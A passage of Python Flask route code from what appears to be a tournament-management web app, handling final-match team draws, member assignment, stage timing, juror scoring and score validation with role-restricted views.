updated anymore.\"\n flash(flash_msg, 'success')\n return redirect(url_for('main.admin_mgmt'))\n else:\n fm_plan_status = request.args.get('plan_status')\n fm_plan_sub_status = int(request.args.get('plan_sub_status'))\n fm_activable = int(request.args.get('activable'))\n\n sm_plan_status = \"Active\"\n active_sm_plan_list = search_event_plan(event_id, sm_plan_status, 1, app_db_web_location)\n sm_plan_id = 0\n sm_plan_sub_status = 0\n fm_round = 0\n for plan in active_sm_plan_list:\n sm_plan_id = plan[1]\n sm_plan_sub_status = plan[4] # 1-released 2-published\n break\n if fm_plan_status is not None:\n #get initial data\n # (mroom_code, mroom_label, mroom_info)\n master_mrooms = get_mrooms(sm_plan_id, app_db_web_location)\n # (mteam_code, mteam_name, team_info, team_member_list)\n master_mteams = get_mteams(sm_plan_id, app_db_web_location)\n # (mjuror_code, mjuror_name, mjuror_info, has_cois, juror_cois_list)\n master_mjurors = get_mjurors(sm_plan_id, app_db_web_location)\n # (mroom_code, mroom_label, room_volunteers)\n master_room_mvolunteers = get_mvolunteers(sm_plan_id, app_db_web_location)\n # get up to date selective match team ranking\n sm_team_rank = get_sm_team_rank(sm_plan_id, app_db_web_location)\n # get fm_plan\n fm_plan = search_fm_plan(event_id, fm_plan_id, app_db_web_location) #(teams, jurors, mpair, round, room)\n fm_team_codes = list()\n fm_team_sids = list()\n for team in fm_plan[0]:\n fm_team_codes.append(team[1])\n fm_team_sids.append(master_mteams[team[1]-1][2][8])\n\n sm_left = check_sm_status(sm_plan_id, app_db_web_location)\n\n return render_template('main/admin_fm_plan_view.html', form=form, fm_plan_sub_status=fm_plan_sub_status,\n sm_plan_id=sm_plan_id, master_mrooms=master_mrooms, fm_plan=fm_plan,\n fm_plan_id=fm_plan_id, fm_plan_status=fm_plan_status, fm_activable=fm_activable,\n master_mteams=master_mteams, sm_team_rank=sm_team_rank, fm_round=fm_round,\n master_mjurors=master_mjurors, master_room_mvolunteers=master_room_mvolunteers,\n fm_team_codes=fm_team_codes, fm_team_sids=fm_team_sids, sm_left=sm_left)\n else:\n flash_msg = \"Invalid access.\"\n flash(flash_msg, 'error')\n return redirect(url_for('main.admin_mgmt'))\n\n\n@main_blueprint.route('/fm_mgmt', methods=['GET', 'POST'])\n@roles_required('data') # Limits access to users with the 'data' role\ndef fm_draw():\n # Retrieve database settings from app.config\n app_db_web_location = current_app.config['SQLALCHEMY_DATABASE_URI_LOCAL']\n current_user_id = current_user.id\n event_id = current_app.config['CURRENT_EVENT']\n\n # Initialize form\n form = EventStageForm(request.form)\n #fm_pair_teams = None\n fm_current_room_round_pairs = None\n fm_team_problem_codes = None\n\n if request.method == 'POST':\n # Process valid POST\n fm_plan_id = 0\n sm_plan_id = 0\n team1 = None\n team2 = None\n team3 = None\n jury = None\n fm_plan = None\n try:\n # get master table from session\n master_mteams = session['master_mteams']\n master_mrooms = session['master_mrooms']\n master_mjurors = session['master_mjurors']\n master_room_mvolunteers = session['master_room_mvolunteers']\n fm_plan = session['fm_plan']\n fm_plan_id = int(request.form.get('fm_plan_id'))\n sm_plan_id = int(request.form.get('sm_plan_id'))\n team_radio_1 = (request.form.get('team_radio_1'))\n team_radio_2 = (request.form.get('team_radio_2'))\n team_radio_3 = (request.form.get('team_radio_3'))\n #each team pick the problem\"\n team_radio_1_problem_code = int(request.form.get('team_radio_1_problem'))\n team_radio_2_problem_code = int(request.form.get('team_radio_2_problem'))\n team_radio_3_problem_code = int(request.form.get('team_radio_3_problem'))\n fm_team_problem_codes = (team_radio_1_problem_code, team_radio_2_problem_code, team_radio_3_problem_code)\n print(team_radio_1, team_radio_2, team_radio_3)\n jury = request.form.getlist(\"jury\")\n print(jury)\n except:\n flash_msg = \"Invalid access to record team draw results!\"\n flash(flash_msg, 'error')\n return redirect(url_for('main.sm_mgmt'))\n\n if team_radio_1 is not None and team_radio_2 is not None and team_radio_3 is not None and (int(team_radio_1) + int(team_radio_2) + int(team_radio_3)) == 6:\n if team_radio_1_problem_code>0 and team_radio_2_problem_code>0 and team_radio_3_problem_code>0 \\\n and team_radio_1_problem_code != team_radio_2_problem_code \\\n and team_radio_1_problem_code != team_radio_3_problem_code \\\n and team_radio_2_problem_code != team_radio_3_problem_code:\n if jury is not None and len(jury) > 4:\n # get up to date mpair fight status\n current_jury = list()\n for juror in jury:\n tmp_juror_code = juror.split(\"--\", 2)[0]\n tmp_mpair_juror_id = juror.split(\"--\", 2)[1]\n tmp_mjuror_id = juror.split(\"--\", 2)[2]\n tmp_turple = (int(tmp_juror_code), int(tmp_mpair_juror_id), int(tmp_mjuror_id))\n current_jury.append(tmp_turple)\n initialize_fm_stage_agenda(fm_plan_id, fm_plan,\n (int(team_radio_1), int(team_radio_2), int(team_radio_3)),\n fm_team_problem_codes, current_jury,\n current_user_id, app_db_web_location)\n return redirect(url_for('main.fm_draw'))\n else:\n flash_msg = \"Don't have enough jurors (min 5)!\"\n else:\n flash_msg = \"Problem choice is missing or wrong!\"\n else:\n flash_msg = \"Draw number is wrong\"\n flash(flash_msg, 'error')\n return redirect(url_for('main.fm_draw'))\n else:\n # Process valid GET\n plan_status = \"Active\"\n active_sm_plan_list = search_event_plan(event_id, plan_status, 1, app_db_web_location)\n active_fm_plan_list = search_event_plan(event_id, plan_status, 2, app_db_web_location)\n sm_plan_id = 0\n sm_plan_sub_status = 0\n fm_plan_id = 0\n fm_round = 0\n fm_plan_sub_status = 0\n current_room_code = 0\n fm_plan_status = None\n for plan in active_sm_plan_list:\n sm_plan_id = plan[1]\n sm_plan_sub_status = plan[4] # 1-released 2-published\n break\n for plan in active_fm_plan_list:\n fm_plan_id = plan[1]\n fm_plan_status = plan[2]\n fm_plan_sub_status = plan[4] # 1-released 2-published\n break\n\n if sm_plan_sub_status > 0 and fm_plan_sub_status >0 and (fm_plan_sub_status == 2 or current_user.has_roles('super')):\n #get initial data\n # (mroom_code, mroom_label, mroom_info)\n master_mrooms = get_mrooms(sm_plan_id, app_db_web_location)\n # (mteam_code, mteam_name, team_info, team_member_list)\n master_mteams = get_mteams(sm_plan_id, app_db_web_location)\n # (mjuror_code, mjuror_name, mjuror_info, has_cois, juror_cois_list)\n master_mjurors = get_mjurors(sm_plan_id, app_db_web_location)\n # (mroom_code, mroom_label, room_volunteers)\n master_room_mvolunteers = get_mvolunteers(sm_plan_id, app_db_web_location)\n # get fm_plan\n # (teams, jurors, mpair, round, room)\n fm_plan = search_fm_plan(event_id, fm_plan_id, app_db_web_location)\n session['master_mteams'] = master_mteams\n session['master_mrooms'] = master_mrooms\n session['master_mjurors'] = master_mjurors\n session['master_room_mvolunteers'] = master_room_mvolunteers\n session['fm_plan'] = fm_plan\n current_room_code = fm_plan[4][1]\n fm_team_codes = list()\n fm_team_sids = list()\n for team in fm_plan[0]:\n fm_team_codes.append(team[1])\n fm_team_sids.append(master_mteams[team[1]-1][2][8])\n\n if current_user.has_roles('super'):\n # super user can access final match data entry\n pass\n else:\n # search the room code that assigned to the data entrier\n # PLAN_ID, PPANT_USER_ID, MROOM_ID, MROOM_CODE, MROOM_LABEL, DATA_ENTRY\n assigned_rooms = search_mroom_assigned_to_data_entry(sm_plan_id, current_user_id, app_db_web_location)\n can_access_fm = False\n for room in assigned_rooms:\n if current_room_code == room[3]:\n can_access_fm = True\n break\n if not can_access_fm:\n flash_msg = \"Invalid access to final match!\"\n flash(flash_msg, 'error')\n return redirect(url_for('main.sm_mgmt'))\n\n if fm_plan[2][2] > 0:\n fm_pairs = get_mpairs_by_room_round(fm_plan_id, app_db_web_location)\n # (current_room_code, tmp_mroom_label, tmp_round_list)\n fm_current_room_round_pairs = fm_pairs[0][2][0]\n print(\"**__\", fm_current_room_round_pairs[2])\n\n current_pair_team_problems = get_reporter_problems(sm_plan_id, fm_plan[0][0][1], fm_plan[0][1][1], fm_plan[0][2][1], app_db_web_location)\n # re-arrange current_pair_team_problems\n team_problems = list()\n for team in current_pair_team_problems:\n tmp_problem_code_list = []\n for i in range(10):\n tmp_problem_code = i + 1\n has_matched_problem = False\n tmp_problme_list = []\n for item in team[1]:\n if item[0] == tmp_problem_code:\n tmp_problme_list.append(item[1])\n has_matched_problem = True\n if has_matched_problem:\n tmp_problem_code_list.append((tmp_problem_code, tmp_problme_list))\n else:\n tmp_problem_code_list.append((tmp_problem_code, None))\n team_problems.append((team[0], tmp_problem_code_list))\n\n problem_label_codes = (\"A\", \"B\", \"C\", \"D\", \"E\", \"F\", \"G\", \"H\", \"I\", \"J\")\n\n return render_template('main/fm_draw.html', form=form, fm_current_room_round_pairs=fm_current_room_round_pairs,\n sm_plan_id=sm_plan_id, master_mrooms=master_mrooms, fm_plan=fm_plan, problem_label_codes=problem_label_codes,\n fm_plan_id=fm_plan_id, master_mteams=master_mteams, team_problems=team_problems,\n master_mjurors=master_mjurors, master_room_mvolunteers=master_room_mvolunteers)\n else:\n flash_msg = \"Final Match is not ready!\"\n flash(flash_msg, 'error')\n return redirect(url_for('main.sm_mgmt'))\n\n\n# assign team member\n@main_blueprint.route('/fm_select', methods=['GET', 'POST'])\n@roles_required('data') # Limits access to users with the 'data' role\ndef fm_select():\n # Retrieve database settings from app.config\n app_db_web_location = current_app.config['SQLALCHEMY_DATABASE_URI_LOCAL']\n current_user_id = current_user.id\n event_id = current_app.config['CURRENT_EVENT']\n\n # Initialize form\n form = EventStageForm(request.form)\n\n # Initialize parameters from request and session\n current_room_code = 0\n current_round_code = 0\n current_plan_id = 0\n fm_current_room_round_pairs = None\n master_mteams = None\n master_mrooms = None\n master_mjurors = None\n master_room_mvolunteers = None\n current_stage_code = 0\n stage_agenda = None\n current_pair_assigned_jurors = None\n current_pair_assigned_juror_codes = None\n current_pair_id = 0\n master_problems = None\n opponent_team_members_roles = None\n reporter_team_members_roles = None\n reviewer_team_members_roles = None\n current_pair_team_problems = None\n problem_label_codes = None\n team_problems = []\n current_day_pair_problems = []\n try:\n # get master prolbem tables from session\n master_problems = session['master_problems']\n except:\n # search master table of event problems from database\n master_problems= get_event_master_problems(event_id, app_db_web_location)\n session['master_problems'] = master_problems\n\n try:\n # get master table from session\n master_mteams = session['master_mteams']\n master_mrooms = session['master_mrooms']\n master_mjurors = session['master_mjurors']\n master_room_mvolunteers = session['master_room_mvolunteers']\n except:\n flash_msg = \"Invalid access to assign fm member!\"\n flash(flash_msg, 'error')\n return redirect(url_for('main.fm_draw'))\n\n if request.method == 'POST':\n # Process valid POST\n try:\n current_room_code = int(request.form.get('current_room_code'))\n current_round_code = int(request.form.get('current_round_code'))\n current_plan_id = int(request.form.get('current_plan_id'))\n current_pair_id = int(request.form.get('current_pair_id'))\n current_stage_code = int(request.form.get('current_stage_code'))\n reporter_problem_code = int(request.form.get('reporter_problem'))\n reporter = request.form.get('reporter')\n opponent = request.form.get('opponent')\n reviewer = request.form.get('reviewer')\n # get up to date mpair fight status\n fm_room_pairs = get_mpairs_by_room_round(current_plan_id, app_db_web_location)\n # (current_room_code, tmp_mroom_label, tmp_round_list)\n fm_current_room_round_pairs = fm_room_pairs[0][2][0]\n except:\n flash_msg = \"Invalid access in POST!\"\n flash(flash_msg, 'error')\n return redirect(url_for('main.fm_draw'))\n\n # only the stage status code is 1 (initiated) or ?\n if fm_current_room_round_pairs[2] >0 :\n # assign members and problem\n if reporter is not None and opponent is not None and reviewer is not None \\\n and reporter != \"0\" and opponent != \"0\" and reviewer != \"0\":\n # add team members and jurors and update MPAIR stage status to 11 or 21\n if fm_current_room_round_pairs[2] == 1 or fm_current_room_round_pairs[2] == 13 or fm_current_room_round_pairs[2] == 23:\n stage_agenda = get_sm_stage_agenda(current_plan_id, fm_current_room_round_pairs[3], app_db_web_location)\n current_reporter_dstage_team_id = stage_agenda[current_stage_code - 1][2][0][2][4]\n save_fm_stage_members(current_plan_id, current_pair_id, current_stage_code, reporter, opponent, reviewer,\n master_problems[reporter_problem_code-1][1], current_reporter_dstage_team_id, current_user_id, app_db_web_location)\n # get up to date mpair fight status\n fm_room_pairs = get_mpairs_by_room_round(current_plan_id, app_db_web_location)\n # (current_room_code, tmp_mroom_label, tmp_round_list)\n fm_current_room_round_pairs = fm_room_pairs[0][2][0]\n\n # get up to date stage_agenda for specific mpair\n # stage_agenda: (stage_code, role_list)\n # role_list: (reporter, opponent)\n stage_agenda = get_sm_stage_agenda(current_plan_id, fm_current_room_round_pairs[3], app_db_web_location)\n # get on-board jurors order by is_chair\n # to be added here, now use jury as place holder\n\n session['fm_current_room_round_pairs'] = fm_current_room_round_pairs\n session['current_stage_agenda'] = stage_agenda[current_stage_code -1]\n session['current_codes'] = (current_room_code, current_round_code, current_stage_code, current_pair_id, current_plan_id)\n session['fm_reporter_problem'] = master_problems[reporter_problem_code-1][1]\n session.pop('fm_plan')\n session.pop('master_room_mvolunteers')\n\n return redirect(url_for('main.fm_timing'))\n else:\n flash_msg = \"Reporter, Opponent and or Reviewer not valid!\"\n flash(flash_msg, 'error')\n return redirect(url_for('main.fm_draw'))\n else:\n flash_msg = \"Invalid access to assign team member!\"\n flash(flash_msg, 'error')\n return redirect(url_for('main.fm_draw'))\n else:\n # Process valid GET\n try:\n current_room_code = int(request.args.get('room'))\n current_round_code = int(request.args.get('round'))\n current_plan_id = int(request.args.get('plan'))\n current_stage_code = int(request.args.get('stage'))\n sm_plan_id = int(request.args.get('sm_plan'))\n except:\n flash_msg = \"Invalid access in get!\"\n flash(flash_msg, 'error')\n return redirect(url_for('main.fm_draw'))\n\n # get up to date mpair fight status\n fm_room_pairs = get_mpairs_by_room_round(current_plan_id, app_db_web_location)\n # (current_room_code, tmp_mroom_label, tmp_round_list)\n fm_current_room_round_pairs = fm_room_pairs[0][2][0]\n # get up to date stage_agenda for specific mpair\n stage_agenda = get_sm_stage_agenda(current_plan_id, fm_current_room_round_pairs[3], app_db_web_location)\n # mpair_id = stage_agenda[0][1]\n current_pair_team_problems = get_reporter_problems(sm_plan_id, stage_agenda[current_stage_code-1][2][0][1], stage_agenda[current_stage_code-1][2][1][1], stage_agenda[current_stage_code-1][2][2][1], app_db_web_location)\n # get assigned juror\n tmp_juror_list = get_mpair_jurors_by_round_room(current_plan_id, None, app_db_web_location)\n current_pair_assigned_jurors = tmp_juror_list[0][1][0][1]\n current_pair_assigned_juror_codes = tmp_juror_list[0][1][0][2]\n # get up to date team members' roles and problems\n reporter_team_members_roles = get_team_member_roles(current_plan_id, stage_agenda[current_stage_code-1][2][0][1], app_db_web_location)\n if reporter_team_members_roles is None or len(reporter_team_members_roles) < 1:\n reporter_team_members_roles = [0]\n opponent_team_members_roles = get_team_member_roles(current_plan_id, stage_agenda[current_stage_code-1][2][1][1], app_db_web_location)\n if opponent_team_members_roles is None or len(opponent_team_members_roles) < 1:\n opponent_team_members_roles = [0]\n reviewer_team_members_roles = get_team_member_roles(current_plan_id, stage_agenda[current_stage_code-1][2][2][1], app_db_web_location)\n if reviewer_team_members_roles is None or len(reviewer_team_members_roles) < 1:\n reviewer_team_members_roles = [0]\n\n # re-arrange current_pair_team_problems\n for team in current_pair_team_problems:\n tmp_problem_code_list = []\n for i in range(10):\n tmp_problem_code = i + 1\n has_matched_problem = False\n tmp_problme_list = []\n for item in team[1]:\n if item[0] == tmp_problem_code:\n tmp_problme_list.append(item[1])\n has_matched_problem = True\n if has_matched_problem:\n tmp_problem_code_list.append((tmp_problem_code, tmp_problme_list))\n else:\n tmp_problem_code_list.append((tmp_problem_code, None))\n team_problems.append((team[0], tmp_problem_code_list))\n\n problem_label_codes = (\"A\", \"B\", \"C\", \"D\", \"E\", \"F\", \"G\", \"H\", \"I\", \"J\")\n\n return render_template('main/fm_select.html', form=form, current_room_code=current_room_code, master_mrooms=master_mrooms,\n fm_current_room_round_pairs=fm_current_room_round_pairs, master_mteams=master_mteams,\n reviewer_team_members_roles=reviewer_team_members_roles[0], master_problems=master_problems,\n reporter_team_members_roles=reporter_team_members_roles[0], opponent_team_members_roles=opponent_team_members_roles[0],\n plan_id=current_plan_id, current_stage_code=current_stage_code, master_mjurors=master_mjurors,\n current_stage_agenda=stage_agenda[current_stage_code-1], current_pair_assigned_jurors=current_pair_assigned_jurors,\n current_pair_assigned_juror_codes=current_pair_assigned_juror_codes)\n\n\n@main_blueprint.route('/fm_timing', methods=['GET', 'POST'])\n@roles_required('data') # Limits access to users with the 'data' role\ndef fm_timing():\n # Retrieve database settings from app.config\n app_db_web_location = current_app.config['SQLALCHEMY_DATABASE_URI_LOCAL']\n current_user_id = current_user.id\n event_id = current_app.config['CURRENT_EVENT']\n\n # Initialize form\n form = EventStageForm(request.form)\n\n # Initialize parameters from request and session\n master_mteams = None\n master_mrooms = None\n master_mjurors = None\n\n current_stage_agenda = None\n sm_current_room_round_pairs = None\n fm_reporter_problem = None\n\n current_room_code = 0\n current_round_code = 0\n current_stage_code = 0\n current_pair_id = 0\n current_plan_id = 0\n\n step_number = 0\n sm_steps = None\n reporter_problems_rejected = None\n\n try:\n # get master table from session\n master_mteams = session['master_mteams']\n master_mrooms = session['master_mrooms']\n master_mjurors = session['master_mjurors']\n current_stage_agenda = session['current_stage_agenda']\n sm_current_room_round_pairs = session['fm_current_room_round_pairs']\n fm_reporter_problem = session['fm_reporter_problem']\n tmp_current_codes = session['current_codes']\n current_room_code = tmp_current_codes[0]\n current_round_code = tmp_current_codes[1]\n current_stage_code = tmp_current_codes[2]\n current_pair_id = tmp_current_codes[3]\n current_plan_id = tmp_current_codes[4]\n except:\n flash_msg = \"Invalid access to get session!\"\n flash(flash_msg, 'error')\n return redirect(url_for('main.fm_draw'))\n\n # get the performance order in one stage of a selective match\n fm_steps = get_fm_performance_order()\n if request.method == 'POST':\n # Process valid POST\n pass\n else:\n # Process valid GET\n # get parameters from request\n step_str = request.args.get(\"step\")\n step_number = 1\n if step_str is not None and len(step_str) > 0:\n step_number = int(step_str)\n # skip first two steps for final match\n if step_number < 3:\n step_number = 3\n\n # ensure there is one problem is accepted\n problem_accepted = True\n if step_number > len(fm_steps):\n # completed all the steps, update mpair stage status to 12 or 22, but not enter the score yet\n mpair_stage_status_code = 0\n if current_stage_code == 1:\n mpair_stage_status_code = 12\n elif current_stage_code == 2:\n mpair_stage_status_code = 22\n elif current_stage_code == 3:\n mpair_stage_status_code = 32\n update_mpair_stage_status(current_plan_id, current_pair_id, mpair_stage_status_code, current_user_id, app_db_web_location)\n return redirect(url_for('main.fm_scoring'))\n\n return render_template('main/fm_timing.html', form=form, current_room_code=current_room_code, master_mrooms=master_mrooms,\n sm_current_room_round_pairs=sm_current_room_round_pairs, master_mteams=master_mteams,\n plan_id=current_plan_id, current_stage_code=current_stage_code, master_mjurors=master_mjurors,\n current_stage_agenda=current_stage_agenda, fm_reporter_problem=fm_reporter_problem,\n step_number=step_number, fm_steps=fm_steps, total_steps=len(fm_steps))\n\n\n@main_blueprint.route('/fm_scoring', methods=['GET', 'POST'])\n@roles_required('data') # Limits access to users with the 'data' role\ndef fm_scoring():\n # Retrieve database settings from app.config\n app_db_web_location = current_app.config['SQLALCHEMY_DATABASE_URI_LOCAL']\n current_user_id = current_user.id\n event_id = current_app.config['CURRENT_EVENT']\n\n # Initialize form\n form = EventStageForm(request.form)\n\n # Initialize parameters from request and session\n master_mteams = None\n master_mrooms = None\n master_mjurors = None\n\n current_stage_agenda = None\n fm_current_room_round_pairs = None\n fm_reporter_problem = None\n\n current_room_code = 0\n current_round_code = 0\n current_stage_code = 0\n current_pair_id = 0\n current_plan_id = 0\n\n current_stage_jurors = None\n\n try:\n # get master table from session\n master_mteams = session['master_mteams']\n master_mrooms = session['master_mrooms']\n master_mjurors = session['master_mjurors']\n current_stage_agenda = session['current_stage_agenda']\n sm_current_room_round_pairs = session['fm_current_room_round_pairs']\n tmp_current_codes = session['current_codes']\n current_room_code = tmp_current_codes[0]\n current_round_code = tmp_current_codes[1]\n current_stage_code = tmp_current_codes[2]\n current_pair_id = tmp_current_codes[3]\n current_plan_id = tmp_current_codes[4]\n fm_reporter_problem = session['fm_reporter_problem']\n except:\n flash_msg = \"Invalid access to enter scores!\"\n flash(flash_msg, 'error')\n return redirect(url_for('main.fm_draw'))\n\n if request.method == 'POST':\n # Process valid POST\n # get parameters from form\n stage_scores = list()\n stage_score_keys = list()\n data_received = request.form\n for key in data_received:\n stage_score_keys.append(key)\n sorted_keys = sorted(stage_score_keys)\n for key in sorted_keys:\n if key.startswith(\"j_\"):\n #print ('form key '+key+\" \"+ data_received[key])\n stage_scores.append((key, data_received[key]))\n\n # get sm plan id for volunteer\n sm_active_pan_list = search_event_plan(event_id, \"Active\", 1, app_db_web_location)\n sm_plan_id = 0\n for plan in sm_active_pan_list:\n sm_plan_id = plan[1]\n break\n\n # insert data to DSTAGE_SCORE\n save_fm_stage_scores(current_plan_id, sm_plan_id, current_pair_id, stage_scores, current_stage_agenda, current_stage_code,\n current_room_code, current_user_id, app_db_web_location)\n\n # clear session for stage specific values\n #session.pop('current_stage_problems')\n session.pop('fm_reporter_problem')\n session.pop('current_stage_agenda')\n session.pop('fm_current_room_round_pairs')\n session.pop('current_codes')\n return redirect(url_for('main.fm_draw'))\n else:\n # Process valid GET\n # get up to date jurors on board\n current_stage_jurors = get_stage_jurors(current_plan_id, current_pair_id, current_stage_code, app_db_web_location)\n\n return render_template('main/fm_scoring.html', form=form, current_room_code=current_room_code, master_mrooms=master_mrooms,\n sm_current_room_round_pairs=sm_current_room_round_pairs, master_mteams=master_mteams,\n plan_id=current_plan_id, current_stage_code=current_stage_code, master_mjurors=master_mjurors,\n current_stage_agenda=current_stage_agenda, fm_reporter_problem=fm_reporter_problem,\n current_jury=current_stage_jurors)\n\n\n@main_blueprint.route('/sm_problem', methods=['GET', 'POST'])\n@roles_required('admin', 'super') # Limits access to users with the 'admin' role and 'super' role\ndef sm_problem():\n # Retrieve database settings from app.config\n app_db_web_location = current_app.config['SQLALCHEMY_DATABASE_URI_LOCAL']\n\n current_user_id = current_user.id\n event_id = current_app.config['CURRENT_EVENT']\n\n # Initialize form\n form = EventPlanForm(request.form)\n flash_msg = None\n team_problems = list()\n sm_round_code = 0\n sm_room_code = 0\n selected_pair_codes = list()\n current_mpair_id = 0\n problem_guide = None\n\n # get plan from database\n plan_status = \"Active\"\n sm_plan_id = 0\n sm_plan_sub_status = 0\n active_sm_plan_list = search_event_plan(event_id, plan_status, 1, app_db_web_location)\n if active_sm_plan_list is not None and len(active_sm_plan_list) > 0:\n # plan has already been activated, changes to the plan are NOT allowed\n for plan in active_sm_plan_list:\n sm_plan_id = plan[1]\n sm_plan_sub_status = plan[4] # 1-released 2-published\n break\n\n if sm_plan_sub_status > 0:\n if request.method == 'POST':\n current_mpair_id = int(request.form.get('current_mpair_id'))\n problem_guide = request.form.get('proble_guide')\n add_problem_guide(sm_plan_id, current_mpair_id, problem_guide, current_user_id, app_db_web_location)\n flash_msg = \"Problem guide has been added successfully!\"\n flash(flash_msg, 'success')\n\n sm_team_problems = get_all_reporter_problems(sm_plan_id, app_db_web_location)\n # (mteam_code, mteam_name, team_info, team_member_list)\n master_mteams = get_mteams(sm_plan_id, app_db_web_location)\n # re-arrange current_pair_team_problems\n if sm_team_problems is not None:\n for team in sm_team_problems:\n tmp_problem_code_list = []\n for i in range(10):\n tmp_problem_code = i + 1\n has_matched_problem = False\n tmp_problme_list = []\n for item in team[1]:\n if item[0] == tmp_problem_code:\n tmp_problme_list.append(item[1])\n has_matched_problem = True\n if has_matched_problem:\n tmp_problem_code_list.append((tmp_problem_code, tmp_problme_list))\n else:\n tmp_problem_code_list.append((tmp_problem_code, None))\n team_problems.append((team[0], tmp_problem_code_list))\n\n problem_label_codes = (\"A\", \"B\", \"C\", \"D\", \"E\", \"F\", \"G\", \"H\", \"I\", \"J\")\n\n # get sm schedule\n sm_round_schedule = get_schedue_by_round_room(sm_plan_id, app_db_web_location)\n # (mroom_code, mroom_label, mroom_info)\n master_mrooms = get_mrooms(sm_plan_id, app_db_web_location)\n\n try:\n sm_round_code = int(request.args.get(\"sm_round\"))\n sm_room_code = int(request.args.get(\"sm_room\"))\n current_mpair_id = sm_round_schedule[sm_round_code-1][1][sm_room_code-1][3]\n problem_guide = sm_round_schedule[sm_round_code-1][1][sm_room_code-1][4]\n for team in sm_round_schedule[sm_round_code-1][1][sm_room_code-1][1]:\n selected_pair_codes.append(team[4])\n except:\n selected_pair_codes = None\n sm_round_code = 0\n\n return render_template('main/sm_problem.html', form=form, sm_plan_id=sm_plan_id, plan_status=plan_status,\n team_problems=team_problems, problem_label_codes=problem_label_codes,\n master_mteams=master_mteams, master_mrooms=master_mrooms, sm_round_code=sm_round_code,\n round_schedule=sm_round_schedule, selected_pair_codes=selected_pair_codes,\n current_mpair_id=current_mpair_id, problem_guide=problem_guide, sm_room_code=sm_room_code)\n else:\n flash_msg = \"Selective Plan is not released yet!\"\n else:\n # plan has not been finalized, can view, re-plan or manual change the plan\n flash_msg = \"Selective Plan is not activiated yet!\"\n flash(flash_msg, 'error')\n return redirect(url_for('main.admin_mgmt'))\n\n\n# validate score and calculate the total\n@main_blueprint.route('/fm_validate', methods=['GET', 'POST'])\n@roles_required('super') # Limits access to users with the 'super' role\ndef fm_validate():\n # Retrieve database settings from app.config\n app_db_web_location = current_app.config['SQLALCHEMY_DATABASE_URI_LOCAL']\n current_user_id = current_user.id\n event_id = current_app.config['CURRENT_EVENT']\n\n # Initialize form\n form = EventStageForm(request.form)\n fm_current_pair_scores = None\n\n # Initialize parameters from request and session\n current_room_code = 0\n current_round_code = 6\n current_plan_id = 0\n current_plan_sub_status = 0\n sm_plan_id = 0\n fm_current_room_round_pairs = None\n current_pair_stage_status = 0\n master_mteams = None\n master_mrooms = None\n master_mjurors = None\n current_stage_code = 0\n stage_agenda = None\n current_pair_assigned_jurors = None\n current_pair_assigned_juror_codes = None\n current_pair_id = 0\n opponent_team_members_roles = None\n reporter_team_members_roles = None\n current_team_codes = None\n current_team_codes_SP = None\n current_stage_problems = None\n current_dstage_score_id = 0\n current_mpair_id = 0\n\n # initial parameters\n try:\n current_plan_id = int(request.args.get('fm_plan_id'))\n sm_plan_id = int(request.args.get('sm_plan_id'))\n current_plan_sub_status = int(request.args.get('plan_sub_status'))\n except:\n flash_msg = \"Invalid access to validate final match score!\"\n flash(flash_msg, 'error')\n return redirect(url_for('main.fm_draw'))\n\n try:\n # get master table from session\n master_mteams = session['master_mteams']\n master_mrooms = session['master_mrooms']\n master_mjurors = session['master_mjurors']\n except:\n # (mroom_code, mroom_label, mroom_info)\n master_mrooms = get_mrooms(sm_plan_id, app_db_web_location)\n # (mteam_code, mteam_name, team_info, team_member_list)\n master_mteams = get_mteams(sm_plan_id, app_db_web_location)\n # (mjuror_code, mjuror_name, mjuror_info, has_cois, juror_cois_list)\n master_mjurors = get_mjurors(sm_plan_id, app_db_web_location)\n # (mroom_code, mroom_label, room_volunteers)\n\n try:\n current_dstage_score_id = int(request.args.get('dss'))\n except:\n current_dstage_score_id = 0\n\n if request.method == 'POST':\n # Process valid POST\n # check if the scoresheet is confirmed\n scoresheet_validate = request.form.get('validate')\n if scoresheet_validate is not None:\n if scoresheet_validate == \"correct\":\n # get calculated values\n #2_opp_dstage_team_P 2_rep_dstage_team_P 2_opp_dstage_team_AP 2_opp_dstage_team_id 2_rep_dstage_team_AP 2_rep_dstage_team_id\n #1_opp_dstage_team_P 1_rep_dstage_team_P 1_opp_dstage_team_AP 1_opp_dstage_team_id 1_rep_dstage_team_AP 1_rep_dstage_team_id\n #ds_fw_mteam_code ds_fw_mteam_code_SP ds_fl_mteam_code ds_fl_mteam_code_SP\n try:\n current_mpair_id = int(request.form.get('current_mpair_id'))\n\n ds3_opp_dstage_team_P = float(request.form.get(\"3_opp_dstage_team_P\"))\n ds3_rep_dstage_team_P = float(request.form.get(\"3_rep_dstage_team_P\"))\n ds3_rev_dstage_team_P = float(request.form.get(\"3_rev_dstage_team_P\"))\n ds3_opp_dstage_team_AP = float(request.form.get(\"3_opp_dstage_team_AP\"))\n ds3_opp_dstage_team_id = int(request.form.get(\"3_opp_dstage_team_id\"))\n ds3_rep_dstage_team_AP = float(request.form.get(\"3_rep_dstage_team_AP\"))\n ds3_rep_dstage_team_id = int(request.form.get(\"3_rep_dstage_team_id\"))\n ds3_rev_dstage_team_AP = float(request.form.get(\"3_rev_dstage_team_AP\"))\n ds3_rev_dstage_team_id = int(request.form.get(\"3_rev_dstage_team_id\"))\n\n ds2_opp_dstage_team_P = float(request.form.get(\"2_opp_dstage_team_P\"))\n ds2_rep_dstage_team_P = float(request.form.get(\"2_rep_dstage_team_P\"))\n ds2_rev_dstage_team_P = float(request.form.get(\"2_rev_dstage_team_P\"))\n ds2_opp_dstage_team_AP = float(request.form.get(\"2_opp_dstage_team_AP\"))\n ds2_opp_dstage_team_id = int(request.form.get(\"2_opp_dstage_team_id\"))\n ds2_rep_dstage_team_AP = float(request.form.get(\"2_rep_dstage_team_AP\"))\n ds2_rep_dstage_team_id = int(request.form.get(\"2_rep_dstage_team_id\"))\n ds2_rev_dstage_team_AP = float(request.form.get(\"2_rev_dstage_team_AP\"))\n ds2_rev_dstage_team_id = int(request.form.get(\"2_rev_dstage_team_id\"))\n\n ds1_opp_dstage_team_P = float(request.form.get(\"1_opp_dstage_team_P\"))\n ds1_rep_dstage_team_P = float(request.form.get(\"1_rep_dstage_team_P\"))\n ds1_rev_dstage_team_P = float(request.form.get(\"1_rev_dstage_team_P\"))\n ds1_opp_dstage_team_AP = float(request.form.get(\"1_opp_dstage_team_AP\"))\n ds1_opp_dstage_team_id = int(request.form.get(\"1_opp_dstage_team_id\"))\n ds1_rep_dstage_team_AP = float(request.form.get(\"1_rep_dstage_team_AP\"))\n ds1_rep_dstage_team_id = int(request.form.get(\"1_rep_dstage_team_id\"))\n ds1_rev_dstage_team_AP = 